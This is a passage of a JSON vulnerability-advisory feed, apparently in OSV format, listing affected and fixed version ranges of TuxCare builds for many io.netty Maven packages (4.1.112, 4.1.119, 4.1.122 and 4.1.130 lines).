re:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3","4.1.112.Final-tuxcare.4","4.1.112.Final-tuxcare.5"],"bundled":39},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.6"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.